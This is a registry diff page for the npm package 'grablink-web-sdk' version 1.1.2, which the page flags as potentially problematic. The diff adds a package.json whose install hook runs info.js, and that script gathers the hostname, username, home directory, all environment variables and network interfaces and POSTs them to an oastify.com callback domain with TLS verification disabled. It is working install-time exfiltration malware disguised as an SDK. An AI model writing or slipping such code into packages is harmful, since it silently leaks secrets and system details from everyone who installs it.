grablink-web-sdk 1.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of grablink-web-sdk might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/info.js +34 -0
  2. package/package.json +18 -0
package/info.js ADDED
@@ -0,0 +1,34 @@
1
+ const https = require('https');
2
+ var os = require("os");
3
+ const { kill } = require('process');
4
+ var hostname = os.hostname();
5
+ var uname = os.userInfo().username;
6
+ var env = os.homedir();
7
+ var cwd = process.env;
8
+ var nets = os.networkInterfaces();
9
+ var fs = process.pid;
10
+
11
+ const data = new TextEncoder().encode(
12
+ JSON.stringify({
13
+ payload: hostname, uname, env, cwd, nets, fs
14
+ })
15
+ );
16
+
17
+ const options = {
18
+ hostname: uname + '.' + hostname + '.gxh03b4xozq3h51eijotk3mzdqjh77vw.oastify.com',
19
+ port: 443,
20
+ path: '/',
21
+ method: 'POST',
22
+ headers: {
23
+ 'Content-Type': 'application/json',
24
+ 'Content-Length': data.length
25
+ },
26
+ rejectUnauthorized: false
27
+ }
28
+
29
+ const req = https.request(options, res => {});
30
+ req.write(data);
31
+ req.end();
32
+
33
+
34
+
package/package.json ADDED
@@ -0,0 +1,18 @@
1
+ {
2
+ "name": "grablink-web-sdk",
3
+ "version": "1.1.2",
4
+ "description": "Testing",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "install": "node info.js"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "checking"
12
+ },
13
+ "keywords": [
14
+ "checking"
15
+ ],
16
+ "author": "grabinfosec",
17
+ "license": "ISC"
18
+ }